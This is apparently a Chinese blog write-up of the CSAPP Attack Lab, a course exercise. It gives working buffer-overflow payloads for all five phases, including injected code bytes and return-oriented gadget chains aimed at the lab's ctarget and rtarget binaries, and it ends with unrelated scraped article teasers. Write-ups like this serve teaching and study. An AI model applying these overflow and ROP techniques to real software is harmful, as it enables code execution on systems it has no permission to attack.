CSAPP Attack Lab
个人感觉非常有意思的一个 Lab,涉及的知识面比较窄,主要关注 缓冲区溢出漏洞 这一个方面,并基于此进行代码攻击,体验一把做黑客的感觉,对应知识点为书中的 3.10 节内容。
这个 Lab 上手便给了我当头一棒,在环境配置上琢磨了好一阵。直接运行 ./ctarget -q
,程序没有让进行输入,而是直接触发了段错误,后来尝试在跑在学校的 Linux 服务器上得以正常运行,原因不明,推测是 WSL 的锅??
phase_1
在倒腾好环境之后,终于可以开始着手完成实验了。
phase_1 要求我们在调用 getbuf
读取标准输入后,不返回到 test
函数接着执行 printf
,而是转而执行 touch1
.
void test()
{int val;val = getbuf();printf("No exploit. Getbuf returned 0x%x\n", val);
}
可以利用书中 3.10.3 节提到的知识,向缓冲区中写入过量的数据,大到足以覆盖掉调用 getbuf
时压入栈中的返回地址,将其修改为我们想要跳转执行的程序的起始地址,即可达成目的。
00000000004017a8 <getbuf>:4017a8: 48 83 ec 28 sub $0x28,%rsp4017ac: 48 89 e7 mov %rsp,%rdi4017af: e8 8c 02 00 00 callq 401a40 <Gets>4017b4: b8 01 00 00 00 mov $0x1,%eax4017b9: 48 83 c4 28 add $0x28,%rsp4017bd: c3 retq 4017be: 90 nop4017bf: 90 nop
观察上述函数 getbuf
的汇编代码,从第一条指令 sub $0x28,%rsp
,可以看到函数 getbuf
的栈帧大小为 40 字节。因此要对返回地址进行写入修改,我们可以先写入 40 字节的任意数据,然后再写入 8 字节的目标地址。
这里的“任意”并非真的任意,因为最终的输入是通过字符串的形式来完成的,因此有些特定的字符可能会导致异常,例如 ‘\n’(对应 ASCII 码为 0x0a),这里我选用的 0x3f(向灵神致敬😄)。
最终的攻击数据如下所示:
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
c0 17 40 00 00 00 00 00 // 目标地址
可以借助 hex2raw
工具将 16 进制转换为对应的字符串,再管道给 ctarget
即可。
cat phase_1.txt | ./hex2raw | ./ctarget -q
phase_2
phase_2 相较于相较于 phase_1,由于要验证参数的正确性,因此只是跳转到目标程序位置还不够,还需要设置参数的值。但原始程序中并没有相关的代码,那参数的值应该如何设置?
这里必须要有一个理念:站在存储的角度,程序与数据并没有区别,它们都是由 0 和 1 组成的比特流。因此,设置参数的代码我们可以自行编写,将其当作数据进行传入,这样的操作称之为 代码注入(code injection) 。最后将我们编写的程序的地址作为返回地址,这样,当程序从 getbuf
返回时,就会跳转到我们先前注入的代码,从而达成目的。
void touch2(unsigned val)
{vlevel = 2; /* Part of validation protocol */if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}
一种有效的注入代码完成的操作如下:
- 写入寄存器
%rdi
的值,使其等于 cookie. - 跳转到程序
touch2
处。
关于跳转,实验手册中推荐使用 ret
指令,它可看作是两个步骤的综合:首先从栈中弹出地址 A,然后将 PC 值设置为 A。因此想要跳转到 touch2
,可以先使用 push
将 touch2
的地址压入栈中,然后使用 ret
实现跳转。
对于指令的二进制表示,可以先编译: gcc -c ./injec.s
,再反汇编:objdump -d ./injec.o
得到。
Disassembly of section .text:0000000000000000 <.text>:0: 48 8b 3c 25 e4 44 60 mov 0x6044e4,%rdi7: 00 8: 68 ec 17 40 00 pushq $0x4017ecd: c3 retq
另外,要想跳转到注入代码的位置,我们必须首先知道它的地址,由于 ctarget 没有使用 栈随机化(stack randomization) ,因此我们完全可以先借助 GDB 打印出调用 Gets
前的栈指针值,再根据注入代码相较于栈指针的偏移计算得到。
最终的攻击数据如下所示:
48 8b 3c 25 e4 44 60 00
68 ec 17 40 00 c3 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
最后,想吐槽一点,Attack Lab 貌似没法 GDB 调试 getbuf
?没了调试,在一些简单的错误上面卡半天。。。
phase_3
phase_3 和 phase_2 很类似,只不过参数由整数换成了字符串,不过思路都是大抵相同的。
void touch3(char *sval)
{vlevel = 3; /* Part of validation protocol */if (hexmatch(cookie, sval)) {printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}
字符串相较于整数,无外乎多了一层 indirection ,也就是指针。我们只需要预先在某个地址 addr 处将字符串数据进行存储,后续将字符串参数设置为 addr 即可,同样,addr 的值可根据相对于栈的偏移量得到。
注入的代码如下:
Disassembly of section .text:0000000000000000 <.text>:0: 48 c7 c7 88 dc 61 55 mov $0x5561dc88,%rdi7: 68 fa 18 40 00 pushq $0x4018fac: c3 retq
而字符串 "59b997fa"
的 ASCII 码表示为:35 39 62 39 39 37 66 61 00
,最后的 00
表示 NULL,即 C 语言字符串的终结符。
这里我遇到了一点问题,这是错误的攻击数据:
48 c7 c7 88 dc 61 55 68
fa 18 40 00 c3 00 00 00
35 39 62 39 39 37 66 61
00 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
上面的答案看似没有问题,但是实际上忽略了很重要的一点,字符串的值存放在 getbuf
的栈帧中(0x5561dc78 ~ 0x5561dc98
),在完成字符串正确性检验之前,字符串的值都应该 保持不变 。而实际上在函数 getbuf
返回后,它的栈帧空间将会被回收,留给 touch3
和 hexmatch
分配使用,且观察反汇编代码发现分配给 hexmatch
的栈帧空间大于 40 字节,这必然导致 getbuf
栈帧数据被破坏,也就导致了错误。
一种正确的方式是将字符串数据写入 test
栈帧或更高地址处,因为实验只要求成功触发 touch,而并不要求正确返回到之前的调用过程,因此破坏之前的栈帧对结果无影响。
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
phase_4
后面的两个实验需要攻击程序是 rtarget,相较于 ctarget,它引入了很多安全措施,例如栈随机化、限制可执行代码区域等,因此攻击起来更为困难。
参考实验手册,其中介绍了一种很有意思的攻击方法:不手动注入代码,而是借助已存在的代码,将其重组为我们需要的攻击代码。其中,一个以 ret
指令结束的指令序列,称之为一个 gadget,一连串的 gadget 被调用将会产生等价于代码注入的效果。
想法很美好,但是实施起来的过程还是比较痛苦的,要想组合出有效的 gadget,需要仔细对照指令的字节表示和 farm
的反汇编代码,这部分我也是大量 抄袭了 参考了其他人的做法。
一种正确的 gadget 组合如下:
# gadget1
00000000004019ab <addval_219 + 4>:
58 pop %rax
90 nop
c3 ret# gadget2
00000000004019c5 <setval_426 + 2>:
48 89 c7 movq %rax,%rdi
90 nop
c3 ret
返回地址为 0x4019ab
,即 gadget1 的起始地址,然后栈中从低到高依次存放:cookie 的值、gadget2 的起始地址、touch2
的起始地址。
这里要注意出栈是从低地址向高地址方向,与入栈相反。
最终的攻击数据如下:
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
phase_5
最后 phase_5 的 gadget 构造非常复杂(官解是用了 8 个),在 CMU 的实验中也是属于选做的部分,完成前四个已经有 95 分了,因此这里也只介绍一些问题和思路。
前面提到,rtarget 引入了栈随机化,这会带来的问题是:在指定参数 sval 时,无法显式地指定地址,而需要依靠间接寻址,即栈指针 %rsp
加上一个相较于它的偏移量。我们可以先确定哪条指令根据栈指针的值计算字符串参数,记录下它的位置和字符串存放位置的偏移量,作为数据一并存入栈中,后续再取出进行计算。
以下是一种正确的 gadget 实现:
# gadget1
00000000004019ab <addval_219 + 4>:
58 pop %rax
90 nop
c3 ret# gadget2
00000000004019dd <getval_481 + 2>:
89 c2 movl %eax,%edx
90 nop
c3 ret# gadget3
0000000000401a69 <getval_481 + 1>:
89 d1 movl %edx,%ecx
08 db orb %bl,%bl
c3 ret# gadget4
0000000000401a13 <addval_436 + 2>:
89 ce movl %ecx,%esi
90 nop
90 nop
c3 ret# gadget5
0000000000401aad <setval_350 + 2>:
48 89 e0 movq %rsp,%rax
90 nop
c3 ret# gadget6
00000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 ret# gadget7
00000000004019d6 <add_xy>:
48 8d 04 37 lea (%rdi,%rsi,1),%rax
c3 ret# gadget8
00000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 ret
攻击数据的构造和 phase_4 很类似,就不过多赘述了。
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
相关文章:

CSAPP Attack Lab
个人感觉非常有意思的一个 Lab,涉及的知识面比较窄,主要关注 缓冲区溢出漏洞 这一个方面,并基于此进行代码攻击,体验一把做黑客的感觉,对应知识点为书中的 3.10 节内容。 这个 Lab 上手便给了我当头一棒,在…...

通信工程学习:什么是NFVI网络功能虚拟化基础设施层
NFVI:网络功能虚拟化基础设施层 NFVI(Network Functions Virtualization Infrastructure)即网络功能虚拟化基础设施层,是NFV(Network Functions Virtualization,网络功能虚拟化)架构中的一个重要…...

不在同一局域网怎么远程桌面?非局域网环境下,实现远程桌面访问的5个方法分享!
非局域网环境下,怎么远程桌面?还能做到吗? 在企业管理中,远程桌面访问已成为提高工作效率、实现跨地域协同工作的关键工具。 然而,当被控端与控制端不在同一局域网时,如何实现远程桌面连接成为了许多企业…...

SparkSQL-初识
一、概览 Spark SQL and DataFrames - Spark 3.5.2 Documentation 我们先看下官网的描述: SparkSQL是用于结构化数据处理的Spark模块,与基本的Spark RDD API不同。Spark SQL提供的接口为Spark提供了更多关于正在执行的数据和计算结构的信息。在内部&a…...
Go语言的垃圾回收(GC)机制的迭代和优化历史
Go语言的垃圾回收(GC)机制自Go语言发布以来经历了多次重要的迭代和优化,以提高性能和减少程序运行时的停顿时间。 以下是一些关键的版本和相应的GC优化: Go版本GC耗时情况主要改进点Go 1.0-1.4可能达到几百毫秒至秒级使用简单的标…...

thinkphp8 从入门到放弃(后面会完善用到哪里写到哪)
thinkphp8 从入门到放弃 引言 thinkphp* 大道至简一、 thinkphp8 安装安装Composerthinkphp 安装命令(tp-项目名称)多应用安装(一个项目不会只有一个应用)安装完文件目录如下本地部署配置伪静态好了项目可以run 二、架构服务(Service…...

对于电商跨境电商独立站中源代码建站和SaaS建站的区别
电商跨境电商独立站的搭建有多种方式,作为电商企业,搭建完全自主控制的电商独立站,对于电商企业的发展和运营有着至关重要的作用。下面推荐一个使用多年的跨境电商独立站系统源码,做简要介绍,据说前段时间火爆的Pandab…...

使用vite+react+ts+Ant Design开发后台管理项目(二)
前言 本文将引导开发者从零基础开始,运用vite、react、react-router、react-redux、Ant Design、less、tailwindcss、axios等前沿技术栈,构建一个高效、响应式的后台管理系统。通过详细的步骤和实践指导,文章旨在为开发者揭示如何利用这些技术…...

C++之 string(中)
C之 string string类对象的容量操作 resize 将有效字符的个数该成n个,多出的空间用字符c填充 虽然在string里用的不多,但是在vector里面常见 这里有三种情况: 1)resize小于当前的size 2)resize大于当前的size,小于capacity …...

双向链表的基本结构及功能实现
1.基本结构: 双向链表是一种链表数据结构,它由一系列节点组成,每个节点包含三个部分: (1).数据域:存储节点的数据 (2).前驱指针:指向前一个节点 (3).后驱指针:指向下一个节点 2.基本特性: 双向链接: 与单向链表…...
stm32定时触发软件中断
这里使用定时器作为延时,单位为秒,使用exti的软件触发方式,配置见代码,在main里进行触发软件中断 代码 #include "stm32f10x.h" #include "stm32f10x_gpio.h" #include "misc.h" #include "…...

blender设置背景图怎么添加?blender云渲染选择
Blender是一款功能强大的3D建模软件,它以流畅的操作体验和直观的用户界面而闻名。使用Blender,你可以轻松地为你的3D模型添加背景图片。 以下是具体的操作步骤: 1、启动Blender:首先,打开Blender软件。访问添加菜单&a…...

MMD模型及动作一键完美导入UE5-Blender方案(三)
1、下载并安装blender_mmd_tools插件 1、下载并安装Blender,Blender,下载Blender3.6,下载太新的版本可能会跟blender_mmd_tools不匹配 2、github下载blender_mmd_tools:https://github.com/UuuNyaa/blender_mmd_tools/ 3、Edit->Preference->Add ons->Install F…...

网络安全自学入门:(超详细)从入门到精通学习路线规划,学完即可就业
很多人上来就说想学习黑客,但是连方向都没搞清楚就开始学习,最终也只是会无疾而终!黑客是一个大的概念,里面包含了许多方向,不同的方向需要学习的内容也不一样。 算上从学校开始学习,已经在网安这条路上走…...

如何在O2OA中使用ElementUI组件进行审批流程工作表单设计
本文主要介绍如何在O2OA中进行审批流程表单或者工作流表单设计,O2OA主要采用拖拽可视化开发的方式完成流程表单的设计和配置,不需要过多的代码编写,业务人员可以直接进行修改操作。 在流程表单设计界面,可以在左边的工具栏找到Ele…...

三、LLM应用开发准备工作
LLM应用开发准备工作 开发基础开发工具大模型kxswkey的配置与使用工具推荐结语 开发基础 最好具备一定的Python开发基础,不需要特别深 如果不具备,可以先学习一下基础知识(概念),比如Python环境管理、包管理与使用、基…...
机器学习-可解释性机器学习:随机森林与fastshap的可视化模型解析
可解释性机器学习是指使机器学习模型的决策过程透明化,帮助用户理解模型如何得出特定结果。随机森林和 FastSHAP 是常用的工具,以下是对它们的简要解析和可视化方法。 随机森林 1. 概述 随机森林是一种集成学习方法,通过构建多个决策树并结…...
使用Assimp加载glb/gltf文件,然后使用Qt3D来渲染
文章目录 1.代码2.说明2.1.调用2.2.关于贴图 1.代码 ModelLoader.h #ifndef MODELLOADER_H #define MODELLOADER_H#include <QObject> #include <Qt3DRender> #include <QVector3D> #include <QGeometry>#include <assimp/Importer.hpp> #incl…...

vue实现左侧数据拖拽到右侧区域,且左侧数据保留且左侧数据不能互相拖拽改变顺序
一、案例效果 二、案例代码 封装左侧抽屉 DrawerSearch.vue<template><div><mtd-form :model="formDrawerSearch" ref="formCustom" inline><mtd-form-item><mtd-inputtype="text"v-model="formDrawerSearch.ho…...
人工智能与机器学习原理精解【21】
文章目录 SVM求两线段上距离最近的两个点问题描述:距离函数:解法:具体步骤:特别注意:示例代码 SVM思想的介入1. **SVM 的基本思想**超平面: 2. **分类间隔(Margin)**1. **分类间隔的…...

网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...

CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...

2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...

ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
LLM基础1_语言模型如何处理文本
基于GitHub项目:https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken:OpenAI开发的专业"分词器" torch:Facebook开发的强力计算引擎,相当于超级计算器 理解词嵌入:给词语画"…...

《基于Apache Flink的流处理》笔记
思维导图 1-3 章 4-7章 8-11 章 参考资料 源码: https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...